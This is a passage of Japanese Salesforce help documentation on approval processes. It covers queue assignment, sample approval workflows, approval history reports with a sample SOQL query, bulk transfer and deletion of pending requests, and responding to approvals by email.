「すべてのデータの編集」権限を持つユーザ
このステップの指定承認者のリストに含まれるユー
ザのマネージャはそのユーザに置き換わります。

「すべてのデータの編集」権限を持つユーザが最初
に承認申請に返答する。

承認ステップのキューへの割り当て
関連オブジェクトでキューがサポートされている場合のみ、承認申請をキューに割り当てることができます。
メール承認は、承認をキューに割り当てる承認プロセスではサポートされません。
承認者にキューを割り当てた場合:

• すべてのキューメンバーが、そのキューに割り当てられた承認申請を承認または却下できます。
• 承認申請メールは、キューのメールアドレスに送信されます。メンバーにメールを送信するようにキュー

が設定されている場合、キューメンバーに承認申請メールが送信されます。ただし、承認ユーザ設定で承
認申請メールを受信しない設定をしている場合を除きます。

• キューへのメール通知は外部利用者を対象としたものではないため、{!ApprovalRequest.External_URL}

では同等の内部 URL を返します。
• Salesforce1 での承認申請通知は、キューには送信されません。個人ユーザが Salesforce1 で承認申請通知を受

信できるように、キューを伴う各承認ステップで、割り当てられた承認者としてそれらの個人ユーザを追
加することをお勧めします。割り当てられた承認者としてキューと個人ユーザの両方を設定するには、承
認ステップで [自動的にキューに割り当てる] の代わりに [自動的に承認者に割り当てる] を選択します。
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• 承認申請が却下されて前の承認者に戻され、前の承認者がキューであった場合は、キューではなく承認し
たユーザに割り当てられます。

• [承認履歴] 関連リストの [割り当て先] 列にキュー名が表示され、その承認申請を承認または却下した実際
のユーザが [承認者] 列に表示されます。

関連トピック:

承認ステップに割り当てる承認者の識別
承認に関する考慮事項

承認の管理に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

有効化、削除など既存の承認プロセスを管理する場合は、次の点に留意してく
ださい。
管理者権限

次の権限のいずれかを持つユーザは承認管理者とみなされます。
• 指定のオブジェクトに対するオブジェクトレベルでの「すべての編集」

権限
• 「すべてのデータの編集」ユーザ権限
承認管理者には次の権限があります。
• 承認プロセスの一環としてではなく、未承認申請を承認または却下
• 承認がロックされたレコードの編集

承認プロセスの有効化
• 承認プロセスを有効にするには、その承認プロセスに最低でも 1 つのステップが必要です。
• 承認プロセスを有効化する前に、Salesforce sandbox でテストします。
• 承認プロセスを有効にした後は、プロセスが無効であっても、ステップの追加、削除、順序の変更、プ

ロセスの却下やスキップの動作の変更はできません。
処理中の承認プロセスの監視

[管理レポート] フォルダと [活動レポート] フォルダには、承認申請に関する標準レポートが含まれていま
す。

承認プロセスの削除
承認プロセスを削除する前に、次の手順を実行します。
1. 無効になっていることを確認します。
2. プロセスに関連付けられた未承認申請を削除し、[ごみ箱] から削除します。

関連トピック:

承認プロセスの確認
承認プロセスの有効化
複数の承認申請の管理
承認に関する考慮事項
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承認プロセスのサンプル
一般的な承認プロセスのサンプルを確認して、独自の承認プロセスを作成する場合の参考にしてください。

承認プロセスの例: 有給休暇申請
多くの企業では、有給休暇をとるために従業員が休暇申請し、マネージャの承認を得る必要があります。
ここでは、Salesforceを使用して、簡単な 1 ステップの有給休暇申請プロセスを自動化する方法を 3 つのフェー
ズに分けて示します。
承認プロセスの例: 経費申請
従業員が経費の承認をマネージャに申請するように義務付けている場合に、このプロセスを Salesforce で自
動化できます。次の例では、本社の全従業員を対象とした 2 ステップの経費承認プロセスを作成します。
ここでは、5,000 円未満の経費は自動的に承認され、5,000 円以上の経費はマネージャの承認を義務付け、さ
らに 500,000 円を超える経費については 2 人の VP からの承認を義務付けるように指定します。この例では、
並列承認プロセスおよび [それ以外の場合] オプションを使用します。
承認プロセスの例: 商談の割引
割引率が 40% を超える商談には、CEO の承認が必要だとします。この例を使用して、1 ステップの承認プロ
セスを作成します。
承認プロセスの例: 求職者の採用
求職者との面接時、内定通知を出す前に、複数レベルの承認を受ける必要があるとします。この例を使用
して、複数のマネージャレベルの承認を必要とする 3 ステップの承認プロセスを作成します。

承認プロセスの例: 有給休暇申請

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

多くの企業では、有給休暇をとるために従業員が休暇申請し、マネージャの承
認を得る必要があります。ここでは、Salesforceを使用して、簡単な 1 ステップの
有給休暇申請プロセスを自動化する方法を 3 つのフェーズに分けて示します。

組織の準備
承認プロセスの作成を開始する前に、次のことを実行してください。
• 有給休暇申請を追跡するためのカスタムオブジェクトを作成していない場合

は、「有給休暇申請」という名前のカスタムオブジェクトとタブを作成しま
す。作成した有給休暇申請オブジェクトに、[開始日]、[終了日]、[従業員
名] などの項目を追加します。

• 承認申請が割り当てられたことを承認者に通知するためのメールテンプレー
トを作成します。承認プロセスの差し込み項目を含めて、Salesforce の承認ページにユーザを移動します。

承認プロセスの作成
ジャンプスタートウィザードを使用して有給休暇申請カスタムオブジェクトの承認プロセスを作成し、次のよ
うに指定します。
• この承認プロセス用に作成したメールテンプレートを選択します。
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• 検索条件は指定しないでください。検索条件を指定しなければ、PTO 申請は、その属性に関係なくこの承
認プロセスに組み込まれます。

• [標準またはカスタムの階層関係項目を使用して自動的に承認者を割り当てる。]オプションを選択して、[マ
ネージャ] を選択します。

• ジャンプスタートウィザードでは、申請できるユーザとしてレコードの所有者のみ自動的に選択します。

ヒント: 申請者が申請した PTO 申請を取り消すことができるようにする手順は、次のとおりです。
1. [編集] をクリックして [申請者] を選択します。
2. [申請者に承認申請の取り消しを許可] を選択します。

最終処理
承認プロセスの作成後、[承認履歴] 関連リストを、有給休暇申請オブジェクトページレイアウトに追加しま
す。

ヒント:  [未承認申請] 関連リストを、ホームタブのページレイアウトに追加するかどうか検討します。追
加すると、返答待ちの承認申請を一目で参照できるようになります。

可能であれば、Sandbox を使用して承認プロセスをテストしてから有効化します。

関連トピック:

カスタムオブジェクトの定義
メールテンプレートの管理
ジャンプスタートウィザードを使用した承認プロセスの作成
組織での承認の準備

承認プロセスの例: 経費申請

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

従業員が経費の承認をマネージャに申請するように義務付けている場合に、こ
のプロセスを Salesforce で自動化できます。次の例では、本社の全従業員を対象
とした 2 ステップの経費承認プロセスを作成します。ここでは、5,000 円未満の
経費は自動的に承認され、5,000 円以上の経費はマネージャの承認を義務付け、
さらに 500,000 円を超える経費については 2 人の VP からの承認を義務付けるよう
に指定します。この例では、並列承認プロセスおよび [それ以外の場合] オプショ
ンを使用します。

組織の準備
承認プロセスの作成を開始する前に、次のことを実行してください。
• 経費を追跡するためのカスタムオブジェクトを作成していない場合は、「経

費申請」という名前のカスタムオブジェクトとタブを作成します。作成した経費申請オブジェクトに [金
額]、[説明]、[状況]、[開始日]、[終了日] などの項目を追加します。

• 承認申請が割り当てられたことを承認者に通知するためのメールテンプレートを作成します。承認プロセ
スの差し込み項目を含めて、Salesforce の承認ページにユーザを移動します。
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• ユーザオブジェクトに、[事業所]というカスタム項目を作成します。本社事業所のユーザの値を「本社」
にします。

承認プロセスの作成
経費申請カスタムオブジェクトを使用して承認プロセスを作成し、次のように指定します。
• この承認プロセスの開始条件として、「現在のユーザ: 事業所 次の文字列と一致する 本社」を設定しま

す。承認申請を開始するには、レコードがこの条件を満たす必要があります。
• 次の承認者として、[マネージャ] 項目を選択します。
• 承認申請が割り当てられたことを承認者に通知するためのメールテンプレートを作成します。承認プロセ

スの差し込み項目を含めて、Salesforce の承認ページにユーザを移動します。
• 経費申請できるユーザをレコード所有者または他のユーザから選択します。
• 次の 2 つの承認ステップを作成します。

1. 「ステップ 1: マネージャの承認」ステップを作成し、次のように指定します。
– このステップの名前を「ステップ 1: マネージャの承認」とします。
– [次の場合に、このステップに入ります。]を選択し、[条件が一致する]を選択します。elseオプショ

ンとして、[レコードを承認] を選択します。
– 開始条件を、[経費: [金額] >＝ 5000] に設定します。
– [自動的に承認者に割り当てる] オプションで、申請したユーザのマネージャを選択します。
– 必要に応じて、[代理承認者]項目のユーザが申請を承認できるようにする場合は、[代理承認者もこ

の申請を承認可能にする。] を選択します。

2. 「ステップ 2: 複数 VP 承認」ステップを作成し、次のように指定します。
– 検索条件「経費の [金額] >= 500000」を使用します。
– [自動的に承認者に割り当てる] を選択し、VP ロールを持つユーザを 2 人選択します。
– [選択したすべての承認者から全員の承認を得る必要がある] オプションを選択します。申請は、指定

した両方のユーザによって承認されるまで承認されません。
– 必要に応じて、[代理承認者]項目のユーザが申請を承認できるようにする場合は、[代理承認者もこ

の申請を承認可能にする。] を選択します。
– [このステップの却下時のアクションのみ実行し...]を選択して、いずれかの VP が申請を却下した場

合には、その申請内容を変更するためにマネージャに戻るようにします。

ヒント: 以下の最終承認時のアクションを設定するかどうか検討します。
• 項目自動更新を定義して、[状況] 項目を「承認済み」に自動的に変更します。
• 経費申請したユーザに承認通知を送信します。
• アウトバウンドメッセージを経理システムに送信して、精算書を印刷します。

最終処理
承認プロセスの作成後、[承認履歴] 関連リストを、経費申請オブジェクトページレイアウトに追加します。
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ヒント:  [未承認申請] 関連リストを、ホームタブのページレイアウトに追加するかどうか検討します。追
加すると、返答待ちの承認申請を一目で参照できるようになります。

可能であれば、Sandbox を使用して承認プロセスをテストしてから有効化します。

関連トピック:

カスタムオブジェクトの定義
メールテンプレートの管理
カスタム項目の作成
承認プロセスの設定
組織での承認の準備

承認プロセスの例: 商談の割引

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

割引率が 40% を超える商談には、CEO の承認が必要だとします。この例を使用し
て、1 ステップの承認プロセスを作成します。

組織の準備
承認プロセスの作成を開始する前に、次のことを実行してください。
• 承認申請が割り当てられたことを承認者に通知するためのメールテンプレー

トを作成します。承認プロセスの差し込み項目を含めて、Salesforce の承認
ページにユーザを移動します。

• 商談について次のカスタム項目を作成します。
– ユーザが割引率を入力できる [割引率] という名前のパーセント項目
– CEO がその割引率を承認したかどうかを示す [割引の承認] という名前のチェックボックス項目

承認プロセスの作成
商談オブジェクトで承認プロセスを作成し、次のように指定します。
• この承認プロセスの開始条件として、「[割引率] >= 0.4」を設定します。承認申請を開始するには、レ

コードがこの条件を満たす必要があります。
• CEO がすべての申請を承認するように後で指定するため、次の承認者としてカスタム項目を選択する必要

はありません。
• この承認プロセス用に作成したメールテンプレートを選択します。
• 割引承認の申請ができるユーザとしてレコードの所有者のみ選択します。
• 申請されたレコードは、すべて承認または却下される必要があるため、検索条件のない承認ステップを 1

つ作成します。
• [自動的に承認者に割り当てる] を選択し、CEO を選択します。
• 必要に応じて、[代理承認者]項目のユーザが申請を承認できるようにする場合は、[代理承認者もこの申請

を承認可能にする。] を選択します。
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• 以下の最終承認時のアクションを設定するかどうか検討します。
– 割引申請したユーザに通知するためのメールアラート
– 商談の [割引の承認] チェックボックスを自動的にチェックにする項目自動更新

最終処理
承認プロセスの作成後、[承認履歴] 関連リストを、該当する商談ページレイアウトに追加します。

ヒント:  [未承認申請] 関連リストを、ホームタブのページレイアウトに追加するかどうか検討します。追
加すると、返答待ちの承認申請を一目で参照できるようになります。

可能であれば、Sandbox を使用して承認プロセスをテストしてから有効化します。

関連トピック:

メールテンプレートの管理
カスタム項目の作成
承認プロセスの設定
組織での承認の準備

承認プロセスの例: 求職者の採用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

求職者との面接時、内定通知を出す前に、複数レベルの承認を受ける必要があ
るとします。この例を使用して、複数のマネージャレベルの承認を必要とする
3 ステップの承認プロセスを作成します。

組織の準備
承認プロセスの作成を開始する前に、次のことを実行してください。
• 求職者を追跡するためのカスタムオブジェクトを作成していない場合は、

「求職者」という名前のカスタムオブジェクトとタブを作成します。作成し
た求職者オブジェクトに [給与]、[提示の延長]  (チェックボックス)、[採用
日] などの項目を追加します。

• 承認申請が割り当てられたことを承認者に通知するためのメールテンプレー
トを作成します。承認プロセスの差し込み項目を含めて、Salesforce の承認ページにユーザを移動します。

承認プロセスの作成
求職者カスタムオブジェクトで承認プロセスを作成し、次のように指定します。
• すべての内定申請は承認処理を受ける必要があるため、検索条件を入力しないでください。
• 次の承認者として、[マネージャ] 項目を選択します。
• この承認プロセス用に作成したメールテンプレートを選択します。
• 内定申請できるユーザをレコード所有者または他のユーザから選択します。
• 次の 3 つの承認ステップを作成します。
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「ステップ 1: マネージャの承認」というステップを作成します。1.

– すべてのレコードはこのステップに進むため、検索条件は不要です。
– [自動的に承認者に割り当てる] オプションで、申請したユーザのマネージャを選択します。
– 必要に応じて、[代理承認者]項目のユーザが申請を承認できるようにする場合は、[代理承認者もこ

の申請を承認可能にする。] を選択します。

2. 「ステップ 2: VP 承認」という第 2 ステップを作成します。
– すべてのレコードはこのステップに進むため、検索条件は不要です。
– [ユーザが承認者を手動で選択する。] を選択して、マネージャが次の承認者として適切な VP を選択

できるようにします。
– 必要に応じて、[代理承認者]項目のユーザが申請を承認できるようにする場合は、[代理承認者もこ

の申請を承認可能にする。] を選択します。
– [このステップの却下時のアクションのみ実行し...] を選択して、VP が申請を却下した場合には、そ

の申請内容を変更するためにマネージャに戻るようにします。

3. 「ステップ 3: CFO 承認」という第 3 ステップを作成します。
– すべてのレコードはこのステップに進むため、検索条件は不要です。
– [自動的に承認者に割り当てる] を選択し、CFO を選択します。
– 必要に応じて、[代理承認者]項目のユーザが申請を承認できるようにする場合は、[代理承認者もこ

の申請を承認可能にする。] を選択します。
– [このステップの却下時のアクションすべておよび最終却下時のアクションすべてを実行します。(最終

却下)] を選択して、CFO によって却下された内定申請を最終却下されるようにします。

ヒント:

• 以下の最終承認時のアクションを設定するかどうか検討します。
– 内定申請したユーザに通知するためのメールアラート
– [提示の延長] チェックボックスを自動的にチェックにする項目自動更新

• 以下の最終却下時のアクションを設定するかどうか検討します。
– 内定申請が却下されたことをマネージャに通知するメールアラート

最終処理
承認プロセスの作成後、[承認履歴] 関連リストを、求職者オブジェクトページレイアウトに追加します。

ヒント:  [未承認申請] 関連リストを、ホームタブのページレイアウトに追加するかどうか検討します。追
加すると、返答待ちの承認申請を一目で参照できるようになります。
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可能であれば、Sandbox を使用して承認プロセスをテストしてから有効化します。

関連トピック:

カスタムオブジェクトの定義
メールテンプレートの管理
承認プロセスの設定
組織での承認の準備

承認履歴レポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認プロセスインスタンスにカスタムレポートタイプを作成すると、完了済み
および進行中の承認プロセスとその個々のステップの履歴詳細をユーザが参照
できます。

承認履歴レポートで選択可能な項目
プロセスインスタンスを主オブジェクト、プロセスインスタンスノードを関
連オブジェクトとしてカスタムレポートタイプを作成すると、さまざまな項
目を組み合わせて承認履歴レポートを作成し、完了済みおよび進行中の承認
プロセスとその個々のステップの履歴詳細を参照できます。
承認履歴レポートの例
承認履歴データの取得方法については、サンプルレポートを参照してくださ
い。
承認履歴レポートの考慮事項
承認プロセスと承認ステップの詳細な履歴を提供する承認履歴レポートを作成または表示する場合、その
制限と特殊な動作を理解する必要があります。

関連トピック:

承認履歴のカスタムレポートタイプの作成

承認履歴レポートで選択可能な項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスインスタンスを主オブジェクト、プロセスインスタンスノードを関連
オブジェクトとしてカスタムレポートタイプを作成すると、さまざまな項目を
組み合わせて承認履歴レポートを作成し、完了済みおよび進行中の承認プロセ
スとその個々のステップの履歴詳細を参照できます。

プロセスインスタンス
プロセスインスタンスとは、承認プロセスの 1 つのインスタンスを表します。
レコードが承認申請されるたびに、新しいプロセスインスタンスが作成されま
す。
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説明項目

承認プロセスの名前。承認プロセス: 名前

承認プロセスインスタンスの ID。承認プロセスインスタンス ID

承認プロセスインスタンスが完了または取り消された日時。
ステップの条件が満たされず、レコードが自動承認または自動却下さ
れると、[完了日] と [実行日] が同じ値になります。

完了日

レコードを承認申請してから承認プロセスが完了または取り消される
までの時間。

経過日数

経過時間

経過分数

承認プロセスインスタンスに最近参加したユーザの氏名。
ステップの条件が満たされず、レコードが自動承認または自動却下さ
れると、[最後のアクター: 氏名] と [申請者: 氏名] が同じ値になり
ます。

最後のアクター: 氏名

承認申請されたレコードのオブジェクト種別。オブジェクト種別

レコードの承認または却下を待機する承認ステップの名前。待機中のステップ名

承認申請されたレコードの名前。レコード名

承認プロセスインスタンスの状況。状況

レコードが承認申請された日時。申請日

レコードを承認申請したユーザの氏名。申請者: 氏名

プロセスインスタンスノード
プロセスインスタンスノードとは、承認ステップのインスタンスを表します。レコードが承認プロセスの特定
のステップに進むたびに、新しいプロセスインスタンスノードが作成されます。レコードがステップの条件を
満たしていない場合、または承認プロセスがそのステップに進まずに完了した場合、プロセスインスタンス
ノードは作成されません。

説明項目

承認ステップの名前。ステップ: 名前

承認ステップインスタンスが完了または取り消された日時。ステップ: 完了日

レコードが承認ステップに入ってから承認ステップインスタンスが完
了または取り消されるまでの時間。

ステップの経過日数

ステップの経過時間

ステップの経過分数
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説明項目

承認ステップインスタンスに最近参加したユーザの氏名。ステップの最後のアクター: 氏名

レコードが承認ステップに入った日時。ステップ開始日

承認ステップインスタンスの状況。ステップ状況

関連トピック:

承認履歴レポート
承認履歴レポートの考慮事項
承認履歴レポートの例

承認履歴レポートの例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

承認履歴データの取得方法については、サンプルレポートを参照してください。

レポートの例: 日付範囲内に申請された商談の承認
このサンプルレポートには、商談オブジェクト (2) に関して指定の日付範囲 (1) 内
に申請された承認プロセスインスタンスが表示されます。結果は状況 (3) で並び
替えられ、最後のアクター (4)、実行日 (5)、完了日 (6)、レコード名 (7)、承認プロ
セスインスタンス ID (8)、および承認プロセス名 (9) が含まれています。
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レポートの例: 承認 — 経過時間
このサンプルレポートには、承認プロセス名 (2) によるすべての承認プロセスインスタンス (1) とグループの結
果が表示されています。結果には、レコード名 (3)、承認プロセスインスタンス ID (4)、状況 (5)、実行日 (6)、経
過分数 (7)、および完了日 (8) が含まれています。
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レポートの例: 承認ステップ — 経過時間
このサンプルレポートには、承認プロセス名 (2) とレコード名 (3) によるすべての承認プロセスインスタンス (1)

とグループの結果が表示されています。結果はステップ名 (4) で並び替えられ、ステップ状況 (5)、ステップの
開始日 (6)、ステップの経過分数 (7)、ステップの完了日 (8)、および承認プロセスインスタンス ID (9) が含まれて
います。
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このサンプルレポートでは、各ステップの承認者と各承認申請の経過時間は含まれていません。この情報を取
得するには、レポートの承認プロセスインスタンス ID を使用して SOQL クエリを実行します。次のサンプル
SOQL クエリは、レポートの最初の未承認ステップでの ActorID  (承認申請を受け取ったユーザまたはキュー)

と ElapsedTimeInHours  (承認申請が送信されてからの経過時間) を取得します。
SELECT ActorId,ElapsedTimeInHours FROM ProcessInstanceWorkitem where processInstanceId =
'04gD0000000LvIV'
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サンプルクエリには 1 つの結果のみあり、結果に表示された ActorID を組織のベース URL に追加
(https://MyCompany.salesforce.com/005D00000015vGGIAY) するとユーザプロファイルページにリダイ
レクトされ、承認者のユーザプロファイルページが表示されます。

関連トピック:

承認履歴レポート
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承認履歴レポートの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Sandbox を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition

承認プロセスと承認ステップの詳細な履歴を提供する承認履歴レポートを作成
または表示する場合、その制限と特殊な動作を理解する必要があります。

Summer '14 ロールアウト前に完了済みまたは未承認の承認プロセスの考
慮事項
Summer '14 が組織で使用できるようになったときに、完了済みと未承認の承認プ
ロセスの承認履歴データが自動的に取り込まれます。ただし、一部の承認履歴
項目値は取り込まれないか、Summer '14 ロールアウト後に承認プロセスインスタ
ンスが次回動作 (ユーザによる承認申請の承認、却下、再割り当てなど) した後
にのみ取り込まれます。

項目が入力されるタイミングオブジェクト

Summer '14 のロールアウト前に完了した承認プロセスインス
タンスの場合、すべての ProcessInstance 項目は自動的に入力
されますが、例外が 1 つあります。2013 年 1 月 1 日より前に
完了した承認プロセスインスタンスについて [完了日]は入
力されません。
Summer '14 ロールアウト時に未承認の承認プロセスインスタ
ンスでは、[完了日] と [最後のアクター: 氏名] 以外のす

ProcessInstance

べての ProcessInstance 項目が自動的に取り込まれます。この
2 つは、承認プロセスインスタンスの完了後にのみ取り込ま
れます。

Summer '14 のロールアウトより前に完了した承認プロセスイ
ンスタンスの場合は、入力されません。
Summer '14 ロールアウト時に未承認の承認プロセスインスタ
ンスでは、すべての ProcessInstanceNode 項目は Summer '14 ロー

ProcessInstanceNode

ルアウト後に承認プロセスインスタンスが次回動作した後
にのみ取り込まれます。

その他の例外は、特定のオブジェクトの SOQL クエリ経由で使用可能な承認履歴データに適用されます。
『Salesforce および Force.com のオブジェクトリファレンス』の「ProcessInstance」、「ProcessInstanceNode」、
「ProcessInstanceStep」、および「ProcessInstanceWorkitem」を参照してください。

Sandbox 環境の考慮事項
承認履歴データを Sandbox にコピーすると、一部の項目値は上書きされ、実際の承認履歴が反映されません。
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既存のプロセスインスタンスまたはプロセスインスタンスノードレコー
ドが Sandbox にコピーされた場合...

項目オブジェクト

この値は、プロセスインスタンスレコードが Sandbox にコピーされたとき
の日時で上書きされます。

申請日ProcessInstance

この値は、プロセスインスタンスレコードを Sandbox にコピーしたユーザ
の名前で上書きされます。

申請者: 氏名

この値は、プロセスインスタンスノードレコードが Sandbox にコピーされ
たときの日時で上書きされます。

ステップ開始日ProcessInstanceNode

関連トピック:

承認履歴レポートで選択可能な項目
承認履歴レポート

複数の承認申請の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

複数の承認申請を、あるユーザから別のユーザへ一括移行または一括削除しま
す。

未承認の申請の移行
ユーザがすべての未承認申請を完了する前に新しいロールに移行する場合
は、残りの申請を別のユーザに移行します。
未承認の申請の削除
承認プロセスを削除するなど、古い承認申請をクリーンアップする場合は、
Salesforce 組織から古い承認申請を削除します。承認申請を削除すると、関連
付けられているレコードがロック解除され、すべての承認プロセスから削除
されるため、承認者の未承認申請のリストに表示されなくなります。

関連トピック:

承認の管理に関する考慮事項
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未承認の申請の移行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

複数の承認申請を移行す
る
• 「リード所有者の移

行」

および

「所有権の移行」

ユーザがすべての未承認申請を完了する前に新しいロールに移行する場合は、
残りの申請を別のユーザに移行します。
1. [設定] から、[クイック検索] ボックスに「承認申請の一括移行」と入力し、

[承認申請の一括移行] を選択します。
2. 移行する承認申請を検索します。
3. [未決の承認申請を新規ユーザに一括移行] を選択します。
4. 申請の移行先となるユーザを検索して選択します。

承認申請に関連付けられているレコードをユーザが参照できることを確認し
ます。

5. コメントを追加します。
入力したコメントは、[承認履歴] 関連リストに表示されます。

6. 移行する各承認申請を選択します。
7. [転送]をクリックします。

関連トピック:

未承認の申請の削除
承認の管理に関する考慮事項
複数の承認申請の管理
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未承認の申請の削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

複数の承認申請を削除す
る
• 「リード所有者の移

行」

および

「所有権の移行」

承認プロセスを削除するなど、古い承認申請をクリーンアップする場合は、
Salesforce 組織から古い承認申請を削除します。承認申請を削除すると、関連付
けられているレコードがロック解除され、すべての承認プロセスから削除され
るため、承認者の未承認申請のリストに表示されなくなります。
1. [設定] から、[クイック検索] ボックスに「承認申請の一括移行」と入力し、

[承認申請の一括移行] を選択します。
2. 削除する承認申請を検索します。
3. [承認プロセスからレコードを一括削除] を選択します。
4. コメントを追加します。

入力したコメントは、[承認履歴] 関連リストに表示されます。
5. 承認プロセスから削除する各承認申請を選択します。
6. [削除] をクリックします。

関連トピック:

未承認の申請の移行
承認の管理に関する考慮事項
複数の承認申請の管理

ユーザの承認申請

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

システム管理者は、ユーザが承認申請としてレコードの承認を申請するための
承認プロセスを設定できます。

承認を受けるレコードを送信する
組織のカスタマイズによっては、レコードの承認をそのレコードから直接申
請できます。
承認申請の取り下げ
レコードの承認を申請したが、レコードの情報を更新しなければならなく
なった場合、承認申請を取り消します。ただし、承認申請を取り消すことが
できるかどうかは、レコードの承認を申請した承認プロセスをシステム管理
者がどのように設定したかによって決まります。
承認申請への返答
承認申請を受信したら、承認、却下、または再割り当てをして返答します。使用する Salesforce の環境に応
じて、いくつかのオプションがあります。承認申請のコメントは4,000文字に制限されています。中国語、
日本語、または韓国語の場合は 1,333 文字に制限されます。
この承認エラーはどういう意味でしょうか?

レコードの承認を申請するとき、または承認申請に返答するときに、次のようなエラーが発生することが
あります。
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承認履歴の状況
レコードが承認プロセスのどこにあるかを追跡するには、[承認履歴] 関連リストを参照します。
承認ユーザ設定
代理承認者を識別し、承認申請メールを受信するかどうかを制御します。

承認を受けるレコードを送信する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードの承認を申請す
る
• レコードに対する「参

照」

組織のカスタマイズによっては、レコードの承認をそのレコードから直接申請
できます。
1. 承認申請するレコードに移動します。
2. 申請の準備が整っていることを確認します。

レコードの承認を申請する場合は、そのレコードが有効な承認プロセスの条
件を満たしている必要があります。条件が不明な場合は、システム管理者に
確認してください。

3. [承認申請] をクリックします。
レコードが承認プロセスの開始条件を満たしている場合は、Salesforce が承認
プロセスを開始します。レコードの承認申請後は、このボタンを使用できま
せん。

申請された承認の進捗状況に関するタブを保持するには、Chatter の承認レコー
ドをフォローすることをお勧めします。

関連トピック:

承認申請の取り下げ
承認ユーザ設定
ユーザの承認申請
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承認申請の取り下げ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認申請を取り消す
• レコードに対する「参

照」

レコードの承認を申請したが、レコードの情報を更新しなければならなくなっ
た場合、承認申請を取り消します。ただし、承認申請を取り消すことができる
かどうかは、レコードの承認を申請した承認プロセスをシステム管理者がどの
ように設定したかによって決まります。
1. 承認申請に関連付けられたレコードの詳細ページに移動します。
2. [承認履歴] 関連リストで、[承認申請の取り消し] をクリックします。

関連トピック:

承認を受けるレコードを送信する
承認ユーザ設定
ユーザの承認申請

承認申請への返答

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce 内から承認申請
に返答する
• 関連レコードに対する

「参照」

メールで承認申請に返答
する
• 「API の有効化」

承認申請を受信したら、承認、却下、または再割り当てをして返答します。使
用する Salesforce の環境に応じて、いくつかのオプションがあります。承認申請
のコメントは 4,000文字に制限されています。中国語、日本語、または韓国語の
場合は 1,333 文字に制限されます。

Salesforce1Salesforce ClassicLightning
Experience

返答元

アプリケーション
内通知

メール通知

レコード
Chatter

ホーム

アプリケーション内通知
承認設定の [承認申請メールを受信]項目に応じて異なります。組織で通知が
有効になっている場合、承認申請メールを受信すると必ず通知を受け取りま
す。
• システム管理者がアクション可能な通知を有効にした場合、通知から返答します。
• 承認申請を開くには、通知をクリックします。
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メール通知
承認設定の [承認申請メールを受信] 項目に応じて異なります。
• 承認申請を開くには、メール内のリンクをクリックします。
• システム管理者がメール承認を有効にした場合は、メールに返信します。

レコード
[承認履歴] 関連リストから返答します。

Chatter

システム管理者が [Chatter での承認] を有効にし、ユーザが Chatter 投稿から承認申請を受信するよう設定し
た場合に有効になります。
• システム管理者がアクション可能な通知を有効にした場合、投稿から返答します。
• レコード名をクリックし、[承認履歴] 関連リストから返答します。

ホーム
システム管理者が [未承認申請] コンポーネントをホームページに追加した場合に有効になります。[ホーム]

タブの [未承認申請] コンポーネントから返答します。

ヒント: このコンポーネントから一度に複数の申請に返答できます。

メール通知への返信による承認申請の返答
システム管理者がメール承認を有効にしている場合、使用している Salesforce 環境やモバイルメールクライ
アントに関係なく、メール通知に返信することで申請を承認または却下できます。代理承認者も承認申請
にメールで返答できます。
承認申請へのメール対応のトラブルシューティング
メールでの返答が正常に機能しない場合、次の一般的な問題を確認します。

関連トピック:

承認ユーザ設定
ユーザの承認申請
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メール通知への返信による承認申請の返答

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールで承認申請に返答
する
• 「API の有効化」

システム管理者がメール承認を有効にしている場合、使用している Salesforce 環
境やモバイルメールクライアントに関係なく、メール通知に返信することで申
請を承認または却下できます。代理承認者も承認申請にメールで返答できます。
メール承認機能は、Salesforce がサポートするすべての言語で使用できます。返
信の単語やフレーズは、現在のユーザの言語辞書を使用してチェックされます。
一致がない場合、返信の単語やフレーズは、他のすべての言語辞書を使用して
チェックされます。
1. メール通知への返信の最初の行には、サポートされている返信の単語のいず

れかを入力します。
